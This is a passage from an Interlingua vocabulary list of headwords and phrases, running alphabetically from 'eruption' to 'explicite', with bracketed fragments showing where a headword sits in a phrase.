[eruption\nexanthematose [febre\nexanthematose [typho\nexarchato\nexarchato de Ravenna\nexarcho\nexarcho de Ravenna\nexaspera [su attitude me\nexasperar\nexasperar le odio de un persona\nexasperation\nexaudibile\nexaudibile [desiderios\nexaudibile [desiros\nexaudibilitate\nexaudimento\nexaudir\nexaudir un precaria\nexauditor\nexcambiabile\nexcambiabilitate\nexcambiar\nexcambiar experientias\nexcambiar impressiones\nexcambiar litteras\nexcambiar opiniones\nexcambiar prisioneros\nexcambiar prisioneros de guerra\nexcambiator\nexcambiator de iones\nexcambiator ionic\nexcambiator thermic\nexcambio\nexcambio commercial\nexcambio cultural\nexcambio de aniones\nexcambio de calor\nexcambio de datos\nexcambio de litteras\nexcambio de notas\nexcambio de partners [practicar le\nexcambio de prisioneros\nexcambio de prisioneros de guerra\nexcambio de vistas\nexcambio de [in\nexcambio epistolari\nexcambio [bursa de\nexcambio [contracto de\nexcambio [libere\nexcambio [medio de\nexcambio [motor de\nexcambio [objecto de\nexcambio [offerta de\nexcambio [ordine de\nexcambio [programma de\nexcambio [taxa de\nexcambio [tractato de\nexcambio [valor de\nexcavar\nexcavar asparagos\nexcavar auro\nexcavar con un draga\nexcavar le gravella de un terreno\nexcavar le turba\nexcavar turfa\nexcavar un canal\nexcavar un fossato\nexcavation\nexcavation hydraulic\nexcavation [usar fortia manual pro le\nexcavationes de Pompei\nexcavator\nexcavator a vapor\nexcavator de trenchea\nexcavator de turba\nexcavator de turfa\nexcavator de vapor\nexcavator hydraulic\nexcavator pneumatic\nexcavator super erucas\nexcede le numero de nascentias [le numero de mortes\nexcede le offerta [le demanda\nexcede nostre possibilitates economic [le casa es belle, ma\nexcede qualcunque description [isto\nexcede su fortias [isto\nexcede vinti florinos [un mulcta que non\nexcedente\nexcedente agricole\nexcedente agricultural\nexcedente budgetari\nexcedente de budget\nexcedente de cassa\nexcedente de financiamento\nexcedente de financiation\nexcedente de moneta\nexcedente de nascentias\nexcedente de natalitate\nexcedente de personal\nexcedente de personal [haber un\nexcedente de peso\nexcedente de population\nexcedente de precipitation\nexcedente de production\nexcedente del natalitate\nexcedente del population\nexcedente demographic\nexcedente in moneta\nexcedente migratori\nexcedente [balancia commercial\nexceder\nexceder in severitate\nexceder le budget\nexceder le etate limite fixate\nexceder le expectationes\nexceder le exportationes [le importationes non debe\nexceder le limite del velocitate\nexceder le limites\nexceder tote le limites\nexcellente\nexcellente [composition\nexcellente [idea\nexcellente [le communicationes con le urbe son\nexcellente [traduction\nexcellentia\nexcellentia de su vinos [region cognite pro le\nexcellentia [per\nExcellentia [Vostre\nexceller\nexceller in beltate\nexceller in intelligentia\nexceller in linguas\nexceller in su profession\nexcelse\nexcelse [araucaria\nexcelsior\nexcelsior [fraxino\nexcelsitude\nexcentric\nexcentric [quartiero\nexcentricitate\nexcentricitate del orbita de un planeta\nexcentrico\nexceptar\nexcepte\nexcepte approbation ultime\nexcepte ille [totes habeva venite\nexcepte que ille fuma [io non sape nihil de ille,\nexception\nexception al regula [constituer un\nexception de [a\nexception de [con\nexception dilatori\nexception in favor de [facer un\nexception peremptori\nexception [caso de\nexception [esser un\nexception [formar un\nexception [per\nexception [stato de\nexceptional\nexceptional [caso\nexceptional [circumstantias\nexceptional [evento\nexceptional [intelligentia\nexceptional [mesura\nexceptional [occasion\nexceptionalitate\nexceptionalitate de un prestation [le\nexceptiones confirma le regula [le\nexceptiones declinatori\nexceptiones [salvo pauc\nexcerper\nexcerpto\nexcerptor\nexcerptos [collection de\nexcerptos [libro de\nexcerptos [lista de\nexcessive\nexcessive [beneficios\nexcessive [capacitate\nexcessive [concentration\nexcessive [dose\nexcessive [frigido\nexcessive [gaudio\nexcessive [joia\nexcessive [potential de destruction\nexcessive [profitos\nexcessive [trainamento\nexcessive [un discurso de un polemicitate\nexcessive [zelo\nexcessivemente cargate\nexcessivemente cargate [un carro\nexcessivemente fatigate\nexcessivemente meticulose in su labor [ille es\nexcessivemente meticulose in su travalio [ille es\nexcessivemente radical [illa es\nexcessivitate\nexcesso\nexcesso de bagage(s)\nexcesso de capacitate\nexcesso de civilisation\nexcesso de conducta\nexcesso de costos\nexcesso de expensas\nexcesso de exportation\nexcesso de fatiga\nexcesso de importation\nexcesso de labor\nexcesso de lacrimation\nexcesso de peso\nexcesso de population\nexcesso de poter\nexcesso de precaution\nexcesso de production\nexcesso de ruito [surditate per\nexcesso de travalio\nexcesso de velocitate\nexcesso de votos\nexcesso de zelo\nexcesso demographic\nexcesso in le altere [cader de un\nexcesso in le altere [passar de un\nexcessos del soldatesca [le\nexcessos [committer\nexcider\nexcider un tumor\nexcipiente\nexcisar\nexcisar un tumor\nexcision\nexcita resentimento [isto\nexcitabile\nexcitabilitate\nexcitabilitate muscular\nexcitamento\nexcitamento del nervos\nexcitante\nexcitante [musica\nexcitar\nexcitar al rebellion\nexcitar le admiration de un persona\nexcitar le animas\nexcitar le appetito\nexcitar le ardor de un persona\nexcitar le curiositate de un persona\nexcitar le imagination\nexcitar le nervos\nexcitar le pietate\nexcitar le sensualitate\nexcitar su can contra un persona\nexcitate [calmar le spiritos\nexcitation\nexcitation del nervos\nexcitation in serie\nexcitation sexual\nexcitation [bobina de\nexcitation [circuito de\nexcitation [currente de\nexcitation [dynamo de\nexcitation [energia de\nexcitation [mitter in\nexcitation [nivello de\nexcitation [stato de\nexcitation [tension de\nexcitative\nexcitator\nexclamar\nexclamation\nexclamation admirative\nexclamation de surprisa\nexclamation [puncto de\nexclamation [signo de\nexclamationes de surprisa\nexclamative\nexclamative [phrase\nexclamative [puncto\nexclamative [signo\nexclamative [tono\nexclaramento\nexclaramento a acetylen\nexclaramento a gas\nexclaramento de acetylen\nexclaramento de natrium\nexclaramento de neon\nexclaramento de vitrina\nexclaramento del ecclesia\nexclaramento del stratas\nexclaramento electric\nexclaramento per gas\nexclaramento [technica de\nexclarar\nexclarar un cosa\nexclarar un enigma\nexclarate [despota\nexclarate [spiritos\nexclaustrar\nexclaustration\nexclave\nexclude [le contrarios se\nexcluder\nexcluder un persona de un examine\nexcluder un possibilitate\nexcludeva le altere [un declaration\nexcludite [responsabilitate\nexclusion\nexclusion de [a\nexclusive\nexclusive de\nexclusive [agente\nexclusive [derecto\nexclusive [esser mutualmente\nexclusive [le jovedi proxime\nexclusive [modello\nexclusive [mutualmente\nexclusive [representante\nexclusive [representation\nexclusive [vendita\nexclusivismo\nexclusivista\nexclusivista [politica economic\nexclusivitate\nexcogitabile\nexcogitar\nexcogitation\nexcogitative\nexcogitator\nexcommunicar\nexcommunicar un heretico\nexcommunication\nexcommunication [bulla de\nexcommunication [eximer un persona del\nexcommunication [ruptura de\nexcommunicative\nexcommunicator\nexcoriar\nexcoriate le mano [io me ha\nexcoriation\nexcoriator\nexcremental\nexcrementicie\nexcrementicie [residuos\nexcremento\nexcremento de can\nexcremento de ove\nexcrementos de aves\nexcrementos de catto\nexcrementos de lepore\nexcrementos de muses\nexcrementos [barril de\nexcrementos [carro de\nexcrementos [cupa de\nexcrementos [tank de\nexcrementose\nexcrementose [materias\nexcrescentia\nexcrescentia carnose\nexcrescential\nexcrescentias del civilisation\nexcrescentias del civilisation [le\nexcrescer\nexcretar\nexcretion\nexcretion de materias fecal\nexcretion de urina\nexcretion [organo de\nexcretion [producto de\nexcretori\nexcretori [organo\nexcretori [producto\nexcruciar\nexcruciation\nexculpabile\nexculpar\nexculpation\nexculpatori\nexcursion\nexcursion a bicycletta\nexcursion a pede\nexcursion autumnal\nexcursion circular\nexcursion collective\nexcursion de auto(mobile)\nexcursion de automobile\nexcursion de autumno\nexcursion de montania\nexcursion de un jornata\nexcursion in automobile\nexcursion in batello\nexcursion scholar\nexcursionar\nexcursionismo\nexcursionista\nexcusa\nexcusa admissibile\nexcusa ha ille date? [que\nexcusa pro un invitation [dar un\nexcusa pro un invitation [presentar un\nexcusa se accusa [qui se\nexcusa valibile\nexcusa valide\nexcusa [avantiar un cosa como\nexcusabile\nexcusar\nexcusar se\nexcusar toto [su propension a\nexcusas admissibile\nexcusas [acceptar\nexcusas [presentar\nexcusas [presentar su\nexcusation\nexcusatori\nexecrabile\nexecrabile [delicto\nexecrabile [film\nexecrabile [manieras\nexecrabile [odor\nexecrabile [systema\nexecrabilitate\nexecrar\nexecration\nexecration general [esser le objecto del\nexecrator\nexecratori\nexecutabile\nexecutabile [projecto facilemente\nexecutante\nexecutantes [orchestra de cinquante\nexecutar\nexecutar instructiones\nexecutar le ordines de un persona\nexecutar un concerto\nexecutar un contracto\nexecutar un decision\nexecutar un giration\nexecutar un ordine\nexecutar un pecia musical con grande maestria\nexecutar un persona al furca\nexecutar un plano\nexecutar un rotation\nexecutar un sententia\nexecutar un sententia judicial\nexecutar un sonata\nexecution\nexecution a [dar\nexecution al furca\nexecution capital\nexecution de concerto\nexecution de un labor [facilitar le\nexecution de un plano\nexecution de un sententia\nexecution de un sonata\nexecution de un travalio [facilitar le\nexecution del budget [controlar le\nexecution summari\nexecution [peloton de\nexecution [poste de\nexecutiva\nExecutiva Provincial\nexecutive\nExecutive del Provincia [Consilio\nexecutive del Union Mundial pro Interlingua [consilio\nexecutive [committee\nexecutive [phase\nexecutive [poter\nexecutor\nexecutor de ordines [ille es solo un\nexecutor testamentari\nexecutori\nexecutori [render un judicamento\nexecutori [render un judicio\nexedra\nexegese = exegesis\nexegese historic\nexegesis [exegese =\nexegeta\nexegeta de Homero\nexegetic\nexegetic [methodo\nexegetic [notas\nexegetica\nexegetica humanistic\nexegetica moderne\nexemplaar unic\nexemplar\nexemplar de archivo\nexemplar de civismo [un acto vermente\nexemplar gratuite\nexemplar justificative\nexemplar premio\nexemplar pro recenser\nexemplar standard\nexemplar [castigamento\nexemplar [castigation\nexemplar [comportamento\nexemplar [conducta\nexemplar [infante\nexemplar [marito\nexemplar [punition\nexemplar [vita\nexemplares [copiar in quatro\nexemplaritate\nexemplaritate de un punition\nexemplarmente [comportar se\nexempli gratia: e.g.\nexemplificar\nexemplificar un regula grammatical\nexemplification\nexemplificative\nexemplificative [lection\nexemplo\nexemplo classic\nexemplo contagiose\nexemplo de bontate\nexemplo de diligentia\nexemplo de generositate\nexemplo de grammatica\nexemplo de patientia\nexemplo de scriptura\nexemplo de un persona [facer un\nexemplo de un persona [imitar le\nexemplo de un persona [sequer le\nexemplo de virtute\nexemplo de [prender\nexemplo de [sequer le\nexemplo del contrario\nexemplo edificante\nexemplo edificative\nexemplo grammatical\nexemplo imitabile\nexemplo persuasive\nexemplo practic\nexemplo recommendabile [isto non es un\nexemplo significante\nexemplo typic\nexemplo vivente\nexemplo [caso sin\nexemplo [dar le bon\nexemplo [dar un\nexemplo [edificar su proximo con su\nexemplo [le unicitate de un\nexemplo [per\nexemplo [prender un cosa como\nexemplo [sin\nexemplos abunda [le\nexemplos illustrative\nexemplos illustre\nexemplos in un dictionario [intercalation de\nexemplos instructive\nexemplos [copiositate de\nexemplos [diversificar su\nexemplos [illustrar un cosa con\nexemplos [innumerabile\nexemptar\nexemptar del frequentation del lectiones\nexemptar del servicio militar\nexemptar un persona de impostos\nexemptar un persona de su obligationes\nexemptar un persona de un obligation\nexemptar un persona de un pena\nexemptar un persona del servicio militar\nexempte\nexempte de alcohol\nexempte de alcohol [bibitas\nexempte de culpa\nexempte de derectos\nexempte de doana\nexempte de germines\nexempte de impostos\nexempte de interferentia\nexempte de parasitos\nexempte de pedage\nexempte de phantasia [esser\nexempte de porto\nexempte de prejudicios\nexempte de servicio militar [esser\nexempte de taxa\nexempte de vibrationes\nexempte del examine de mathematica [esser\nexempte del servicio militar\nexempte del servicio militar [esser\nexemption\nexemption a un persona [conceder\nexemption de imposto(s)\nexemption de impostos\nexemption de un obligation\nexemption del servicio militar\nexemption [derecto de\nexequatur\nexequer\nexequer un commission\nexequer un concerto\nexequer un labor con grande scrupulositate\nexequer un lege\nexequer un ordine\nexequer un pecia musical con grande maestria\nexequer un plano\nexequer un sententia\nexequer un testamento\nexequer un travalio con grande scrupulositate\nexequias\nexercer\nexercer autoritate\nexercer controlo super\nexercer influentia\nexercer le autoritate\nexercer le magia\nexercer le medicina\nexercer su critica super un cosa\nexercer su memoria\nexercer un contrapression\nexercer un grande attraction super\nexercer un influentia prejudicial\nexercer un pression super\nexercer un profession\nexercer un seduction irresistibile\nexercitar\nexercitar le advocatura\nexercitar le gambas\nexercitar le memoria\nexercitar le mente\nexercitar le profession de pharmacista\nexercitation\nexercitation dur\nexercitation [granata de\nexercite de un observator [le oculo\nexercite [un aure\nexercitio\nexercitio a completar\nexercitio al solo\nexercitio corporal\nexercitio corporee\nexercitio de calculo\nexercitio de canto\nexercitio de completamento\nexercitio de dexteritate\nexercitio de diction\nexercitio de digitation\nexercitio de equilibrio\nexercitio de grammatica\nexercitio de lectura\nexercitio de lingua\nexercitio de lucta\nexercitio de memoria\nexercitio de natation\nexercitio de nocte\nexercitio de pensamento\nexercitio de pensata\nexercitio de relaxation\nexercitio de respiration\nexercitio de scriptura\nexercitio de stilo\nexercitio de tiro\nexercitio de traduction\nexercitio de translation\nexercitio de trapezio\nexercitio de un function\nexercitio del governamento\nexercitio equestre\nexercitio face le maestro [le\nexercitio fatiga le bracios [iste\nexercitio illegal de un profession\nexercitio illegal del medicina\nexercitio illicite del medicina\nexercitio linguistic\nexercitio militar\nexercitio mnemonic\nexercitio muscular\nexercitio natatori\nexercitio physic\nexercitio preparatori\nexercitio professional\nexercitio punitive\nexercitio respiratori\nexercitio [cartucha de\nexercitio [granata de\nexercitios acrobatic\nexercitios athletic\nexercitios corrective de pronunciation\nexercitios de natation [facer\nexercitios de piano\nexercitios de reptation\nexercitios de respiration\nexercitios de tiro\nexercitios gymnastic\nexercitios gymnic\nexercitios militar\nexercitios prenatal\nexercitios preparative\nexercitios pro le musculos abdominal\nexercitios [libro de\nexfilar\nexfilar se\nexfoliar\nexfoliation\nexhala miasmas pestifere [paludes que\nexhala miasmas pestilential [paludes que\nexhalar\nexhalar fragrantia\nexhalar le ultime suspiro\nexhalation\nexhalationes mephitic\nexhalationes pestifere\nexhalationes pestilential\nexhalava le ultime suspiro [su auto(mobile)\nexhauri le possibilitates [isto non\nexhauribile\nexhauribilitate\nexhauriente [cultura\nexhaurir\nexhaurir se\nexhaurir tote le medios legal\nexhaurir un subjecto\nexhaurite nostre stock [nos ha\nexhaurite [le stock es\nexhauste\nexhauste [batteria\nexhauste [iste libro es\nexhauste [le stock es\nexhauste [mi patientia es\nexhauste [pila\nexhaustibile\nexhaustion\nexhaustion complete [in un stato de\nexhaustion del stock [usque al\nexhaustion [laborar usque al\nexhaustion [travaliar usque al\nexhaustive\nexhaustive [bibliographia\nexhaustive [cultura\nexhaustive [description\nexhaustive [enumeration\nexhaustive [investigation\nexhaustive [lista\nexhaustive [studio\nexhaustivemente un cosa [studer\nexhaustivemente un cosa [studiar\nexhaustivemente un cosa [tractar\nexhaustivitate\nexhaustivitate de un bibliographia\nexhaustivitate de un lista\nexheredar\nexheredation\nexhiber\nexhiber le imagine del Virgine in procession\nexhiber le licentia de chassa\nexhiber su cognoscentias\nexhiber su cognoscimentos\nexhiber su papiros\nexhiber su passaporto\nexhiber su saper\nexhiber un autorisation\nexhibition\nexhibition agricole\nexhibition ambulante\nexhibition autumnal\nexhibition avicole\nexhibition biennal\nexhibition de affiches\nexhibition de automobiles\nexhibition de bestial\nexhibition de capras\nexhibition de cattos\nexhibition de chrysanthemos\nexhibition de dahlias\nexhibition de horticultura\nexhibition de pictura\nexhibition de picturas\nexhibition felin\nexhibition flottante\nexhibition horticole\nexhibition itinerante\nexhibition triennal de picturas\nexhibition universal\nexhibition [inaugurar un\nexhibition [organisar un\nexhibition [sala de\nexhibition [visitar un\nexhibitionismo\nexhibitionista\nexhibitionista [comportamento\nexhibitionista [gesto\nexhibitionista [posa\nexhibitionistic\nexhibitionistic [posa\nexhibitori\nexhilarante\nexhilarar\nexhilaration\nexhilarative\nexhorta a dicer le veritate [io te\nexhortar\nexhortar al calma\nexhortar un persona al calma\nexhortar un persona al patientia\nexhortation\nexhortation al patientia\nexhortation al penitentia\nexhortation emphatic\nexhortationes fraternal\nexhortative\nexhortative [parolas\nexhortator\nexhortatori\nexhumar\nexhumar memorias\nexhumar tresores\nexhumar un cadavere\nexhumation\nexhumation de un cadavere\nexige multe preparativos [isto\nexige que [le justitia\nexige un altere approche [isto\nexige un precision rigorose [isto\nexigente\nexigente [confessor\nexigente [malado\nexigente [publico\nexigentia\nexigentia de aptitude\nexigentia de capabilitate\nexigentia de competentia\nexigentia del publico [satisfacer le\nexigentia imperative\nexigentia minime\nexigentias a [imponer\nexigentias de nostre epocha [le\nexigentias de su creditores [satisfacer al\nexigentias del vita [non haber le medios pro facer fronte al\nexigentias exorbitante\nexigentias injuste\nexiger\nexiger effortio\nexiger indemnisation\nexiger le attention\nexiger le restitution de un presto\nexiger multo\nexiger satisfaction\nexiger un explanation\nexiger un explication\nexiger un redemption\nexigibile\nexigibile [debita\nexigibilitate\nexigibilitate de un debita\nexigite [le talia\nexigite [reimpler le conditiones\nexigite [reunir tote le conditiones\nexigue\nexigue [appartamento\nexigue [medios\nexigue [ressources\nexigue [summa\nexiguitate\nexiguitate del camera [le\nexiliar\nexiliate per Augusto a Tomi [Ovidio esseva\nexiliato\nexiliatos politic [un gruppo de\nexilio\nexilio voluntari\nexilio [condemnar al\nexilio [inviar un persona in\nexilio [ir in\nexilio [loco de\nexilio [viver in\neximer\neximer un persona de un promissa\neximer un persona del excommunication\neximer un persona del secreto professional\neximite de pagar impostos [esser\nexir\nexir a iste hora [il non es consiliabile\nexir de casa\nexir de coma\nexir del altere [entrar in un aure e\nexir del coma\nexir illese del battalia\nexir illese del lucta\nexiste -- Cartesio [io pensa, dunque io\nexiste ancora alicun inconvenientes [il\nexiste pauc dansatores qui domina iste salto [il\nexiste poc dansatores qui domina iste salto [il\nexiste un discrepantia considerabile inter le duo versiones [il\nexiste un grande possibilitate que [il\nexistente\nexistente actualmente [le racias\nexistente [intra le possibilitates\nexistente [leges\nexistente [majorar le tarifas\nexistente [stocks\nexistente [tarifa\nexistente [utilisar le stocks\nexistentia\nexistentia aventurose\nexistentia de Deo\nexistentia de Deo [denegar le\nexistentia de Deo [negar le\nexistentia de Deo [proba ontologic del\nexistentia de Deo [proba physicotheologic del\nexistentia de Deo [prova ontologic del\nexistentia de iste testamento [io ignorava le\nexistentia de un stato [recognoscer de jure le\nexistentia de un stato [recognoscer de jure le\nexistentia ephemere [nostre\nexistentia invivibile\nexistentia marginal\nexistentia miserabile\nexistentia miserabile [menar un\nexistentia misere\nexistentia modeste [menar un\nexistentia precede le essentia [le\nexistentia quotidian\nexistentia terren\nexistentia vagabunde [haber un\nexistentia [absurditate del\nexistentia [derecto al\nexistentia [lucta pro le\nexistentia [mar del\nexistentia [medios de\nexistentia [ration de\nexistentia [simulacro de\nexistential\nexistential de Kierkegaard [le problematica\nexistential [angustia\nexistential [philosophia\nexistential [problema\nexistentialismo\nexistentialista\nexistentialista [litteratura\nexistentialista [philosophia\nexistentialista [philosopho\nexistentialista [theatro\nexister\nexister [derecto de\nexister [forma de\nexito\nexito de emergentia\nexito de securitate\nexito de succurso\nexito de urgentia\nexito del artistas\nexito [diriger se al\nexito [hastar se verso le\nexito [ir al\nexito [non haber\nexito [strata sin\nexito [via de\nexobiologia\nexobiologic\nexobiologic [experimentos\nexobiologista\nexobiologo\nexobuccal\nexocentric\nexoceto\nexocrin\nexocrin [glandula\nexocrin [glandulas\nexoderma\nexodic\nexodista\nExodo\nexodo\nexodo de personal\nexodo del personal\nexodo rural\nexogame\nexogame [matrimonios\nexogamia\nexogamic\nexogamic [matrimonios\nexogastrulation\nexogene\nexogene [factores\nexogene [intoxication\nexonera de qualcunque culpa [isto le\nexonerar\nexonerar del servicio militar\nexonerar un persona de su obligationes\nexoneration\nexoneration fiscal pro infantes\nexonerative\nexoneratori\nexoperante\nexoperante de fame\nexoperante del fame\nexoperantes [demonstration de\nexoperantes [manifestation de\nexoperantes [se solidarisar con le\nexoperantes [solidarisar se con le\nexoperar\nexopero\nexopero de fame\nexopero de ferroviarios\nexopero de obreros portuari\nexopero de protestation\nexopero de protesto\nexopero de solidaritate\nexopero de surprisa\nexopero del minatores\nexopero del zelo\nexopero ferroviari\nexopero general\nexopero indefinite [declarar se in\nexopero intermittente\nexopero non official\nexopero pro le augmento del salarios\nexopero pro un salario plus alte\nexopero salvage\nexopero spontanee\nexopero [annunciar un\nexopero [arrestar un\nexopero [cessar un\nexopero [comité de\nexopero [derecto de\nexopero [die de\nexopero [entrar in\nexopero [jorno de\nexopero [picchetto de\nexopero [rumper un\nexoperos [interdiction de\nexoperos [le politisation del\nexoperos [prohiber le\nexoperos [prohibition de\nexoperos [unda de\nexophthalmia\nexophthalmic\nexophthalmic [struma\nexophthalmic [struna\nexophthalmo\nexoplaneta\nexorabile\nexorar\nexorbitante\nexorbitante [exigentias\nexorbitante [expensas\nexorbitante [opulentia\nexorbitante [precio\nexorbitante [pretentiones\nexorbitante [summas\nexorbitantia\nexorbitar\nexorbitation\nexorcisar\nexorcisar le demonio\nexorcisation\nexorcismo\nexorcista\nexordial\nexordio\nexordir\nexordir un discurso\nexoskeleto\nexosmose = exosmosis\nexosmosis [exosmose =\nexosphera\nexospheric\nexospheric [temperatura\nexostose = exostosis\nexostosis [exostose =\nexoteric\nexoteric [doctrina\nexoterismo\nexoterismo de un doctrina philosophic\nexothermic\nexotic\nexotic [animales\nexotic [planta\nexotic [plantas\nexotic [productos\nexoticitate\nexoticitate de su accento [un individuo facilemente recognoscibile per le\nexotismo\nexotoxina\nexpander\nexpander se [le epidemia continua a\nexpander su activitates\nexpandite [polystyrene\nexpansibile\nexpansibilitate\nexpansion\nexpansion adiabatic\nexpansion colonial\nexpansion commercial\nexpansion de un gas\nexpansion del credito\nexpansion del mercato de labor\nexpansion del universo\nexpansion economic\nexpansion economic [relentar le\nexpansion industrial\nexpansion linguistic\nexpansion territorial\nexpansion urban\nexpansion [grado de\nexpansion [mercato in\nexpansion [politica de\nexpansion [poter de\nexpansion [sector in\nexpansion [spatio de\nexpansion [vapor de\nexpansion [vaso de\nexpansionismo\nexpansionismo colonial de Anglaterra in le era victorian [le\nexpansionismo colonial de Anglaterra in le etate victorian [le\nexpansionista\nexpansionista [politica\nexpansionistic\nexpansionistic [politica\nexpansive\nexpansive [fortia\nexpansivitate\nexpatriar\nexpatriar se\nexpatriation\nexpecta nostre invitatos iste vespera [nos\nexpecta nostre invitatos iste vespere [nos\nexpectabile\nexpectante\nexpectante [attitude\nexpectante [medicina\nexpectante [politica\nexpectar\nexpectar multo de un persona\nexpectar un telephonata\nexpectate [tanto\nexpectation\nexpectation de vita\nexpectation de [in\nexpectation [esser contrari al\nexpectation [plen de\nexpectation(es) [contrari al\nexpectationes [exceder le\nexpectationes [grande\nexpectationes [responder al\nexpectativa\nexpectativa [haber un cosa in\nexpectativas [responder al\nexpectative\nexpectative [medicina\nexpectator\nexpectorante\nexpectorante [medicamento\nexpectorante [sirop\nexpectorante [substantia\nexpectorar\nexpectorar sanguine\nexpectoration\nexpectoration de sanguine\nexpectoration sanguinolente\nexpectorationes sanguinolente\nexpedicular\nexpediculation\nexpediente\nexpediente [cercar un\nexpedientes [cognoscer mille\nexpedir\nexpedir per ferrovia\nexpedir per le posta\nexpedir per posta\nexpedir ulteriormente\nexpedir un littera\nexpedir un message per staffetta\nexpedition\nexpedition al luna\nexpedition central\nexpedition de piliage\nexpedition de succurso\nexpedition explorative\nexpedition exploratori\nexpedition lunar\nexpedition militar\nexpedition penal\nexpedition per ferrovia\nexpedition polar\nexpedition punitive\nexpedition retardate\nexpedition scientific\nexpedition ulterior\nexpedition [agentia de\nexpedition [apprestar un\nexpedition [aviso de\nexpedition [commandar un\nexpedition [costos de\nexpedition [firma de\nexpedition [interprisa de\nexpedition [modo de\nexpedition [personal de\nexpedition [preste pro le\nexpedition [scheda de\nexpedition [servicio de\nexpeditionari\nexpeditionari [armea\nexpeditionari [corpore\nexpeditionari [corps\nexpeditionari [fortia\nexpeditionari [truppas\nexpeditiones [departimento del\nexpeditiones [section del\nexpeditive\nexpeditor\nexpeditor [al risco del\nexpeditor [le reinvio al\nexpeditor [reinviar le pacco al\nexpeller\nexpeller estranieros indesiderabile\nexpeller estranieros indesirabile\nexpeller le dubitas\nexpeller un alumno del schola\nexpeller un persona del pais\nexpeller un persona del partito\nexpender\nexpensa\nexpensas ab alteres [recovrar su\nexpensas de armamentos\nexpensas de defensa\nexpensas de exploitation\nexpensas de mantenentia\nexpensas de mantenimento\nexpensas de prime necessitate\nexpensas de viage\nexpensas de viage [declarar le\nexpensas del Stato\nexpensas del stato\nexpensas exorbitante\nexpensas extravagante\nexpensas immoderate\nexpensas impreviste\nexpensas private\nexpensas pro le collectivitate\nexpensas salarial\nexpensas sumptuari\nexpensas superflue\nexpensas [contabilisar le\nexpensas [coperir le\nexpensas [excesso de\nexpensas [incurrer\nexpensas [minorar le\nexpensas [moderar le\nexpensas [on nos ha objectate le necessitate de reducer le\nexpensas [reducer le\nexpensas [reduction del\nexpensas [restriction del\nexpensas [restringer le\nexpensas [restringer su\nexperientia\nexperientia affective\nexperientia de bureau\nexperientia del combatto\nexperientia del conducta\nexperientia del vita\nexperientia dolorose\nexperientia emotional\nexperientia emotive\nexperientia inhabitual\nexperientia le ha maturate [le\nexperientia mystic\nexperientia politic [le nove ministro care de\nexperientia practic\nexperientia proprie [per\nexperientia psychedelic [un\nexperientia religiose de un credente [le\nexperientia subjective\nexperientia transcendente\nexperientia traumatic\nexperientia vital\nexperientia [acquirer\nexperientia [cognoscer per\nexperientia [concepto de\nexperientia [dato de\nexperientia [facer\nexperientia [facto de\nexperientia [homine de\nexperientia [mancar de\nexperientia [notion de\nexperientia [parlar per\nexperientia [reviver un\nexperientia [saper per\nexperientia [vantar un grande\nexperientia [vantar un longe\nexperientias [excambiar\nexperientias [intercambiar\nexperimentabile\nexperimental\nexperimental [aerodynamica\nexperimental [animal\nexperimental [chimia\nexperimental [cognoscentia\nexperimental [interprisa\nexperimental [methodo\nexperimental [missile\nexperimental [modello\nexperimental [phase\nexperimental [physica\nexperimental [psychologia\nexperimental [schola\nexperimental [scientia\nexperimental [stadio\nexperimental [station\nexperimental [station agricole\nexperimental [teratologia\nexperimental [theatro\nexperimental [volo\nexperimentalitate\nexperimentalitate del litteratura de vanguarda\nexperimentar\nexperimentar con un nove technica\nexperimentar le sequelas del guerra\nexperimentate\nexperimentate [natator\nexperimentate [pianista\nexperimentate [un dactylographo\nexperimentation\nexperimentation agricole [centro de\nexperimentation [campo de\nexperimentation [station de\nexperimentator\nexperimento\nexperimento chimic\nexperimento de chimia\nexperimento de laboratorio\nexperimento non-reproducibile\nexperimento [facer un\nexperimento [irrepetibilitate de un\nexperimentos aerotechnic\nexperimentos exobiologic\nexperimentos [animal de\nexperimentos [tabula de\nexperimentos [tabula pro\nexperir\nexperte\nexperte [con oculo\nexperte [viagiator\nexpertise\nexpertise forense\nexpertise graphologic\nexpertise medicolegal\nexpertise [costos del\nexpertise [esser submittite a un\nexpertise [mitter a un\nexpertise [reporto de\nexpertises [agentia de\nexperto\nexperto agricole\nexperto agricultural\nexperto contabile\nexperto de arte\nexperto de automatisation\nexperto de investimento\nexperto de publicitate\nexperto es troppo alte [le appreciation del\nexperto es troppo elevate [le appreciation del\nexperto in le materia [esser\nexperto in le materia [io non pretende esser un\nexperto in un campo determinate [esser\nexperto [consultar un\nexperto [on le considera como un\nexpertos [commission de\nexpertos [committee de\nexpertos [reporto de\nexpiabile\nexpiabile [culpa\nexpiabilitate\nexpiabilitate de un culpa\nexpiar\nexpiar un crimine\nexpiar un pena\nexpiate le peccatos del homines [Jesus Christo ha\nexpiation\nexpiation de peccatos\nexpiator\nexpiatori\nexpiatori de un rito [le function\nexpiatori [altar\nexpiatori [cappella\nexpiatori [capro\nexpiatori [morte\nexpiatori [offerenda\nexpiatori [sacrificio\nexpiatori [sanguine\nexpiatori [tentativa\nexpiatori [victima\nexpira deman [le tratta\nexpira [le concession\nexpira [le credito\nexpira [mi passaporto\nexpirar\nexpirar lentemente\nexpirar un ultimatum [lassar\nexpirar [aspirar e\nexpiration\nexpiration de un contracto\nexpiration de un passaporto [le\nexpiration de un termino\nexpiration de un tregua\nexpiration del validitate de un passaporto\nexpiration [data de\nexpiration [inspiration e\nexpiration [le aspiration e le\nexpiratori\nexpiratori [accento\nexpiratori [dyspnea\nexpiratori [musculos\nexplanabile\nexplanar\nexplanar su puncto de vista\nexplanar un cosa con claritate\nexplanar un enigma\nexplanar un sonio\nexplanation\nexplanation del eventos [su\nexplanation [exiger un\nexplanation [reclamar un\nexplanator\nexplanatori\nexplanatori [remarcas\nexplant\nexpler\nexpletive\nexpletive [parola\nexplica su absentia [su maladia\nexplicabile\nexplicar\nexplicar in detalio\nexplicar le movimento del planetas [le epicyclo ha permittite al grecos de\nexplicar rationalmente [isto es plus facile de intuer que de\nexplicar sonios\nexplicar su puncto de vista\nexplicar un cosa con claritate\nexplicar un sonio\nexplicar un texto\nexplication\nexplication de sonios\nexplication de texto\nexplication del voto\nexplication in theoria [isto ha un\nexplication plausibile\nexplication summari\nexplication [exiger un\nexplication [le schematismo de un\nexplication [reclamar un\nexplication [verbositate de un\nexplicationes [ille se imbroliava in su\nexplicative\nexplicative juncte a un apparato [nota\nexplicative [annotationes\nexplicative [dictionario\nexplicative [memoria\nexplicative [nota\nexplicative [notitia\nexplicator\nexplicitar\nexplicitar su proprie pensatas\nexplicitar un variabile\nexplicitation\nexplicite\nexplicite [condition\nexplicite [contra mi prohibition\nexplicite [critica\nexplicite [definition\nexplicite [equation\nexplicite [exprimer se in terminos\nexplicite 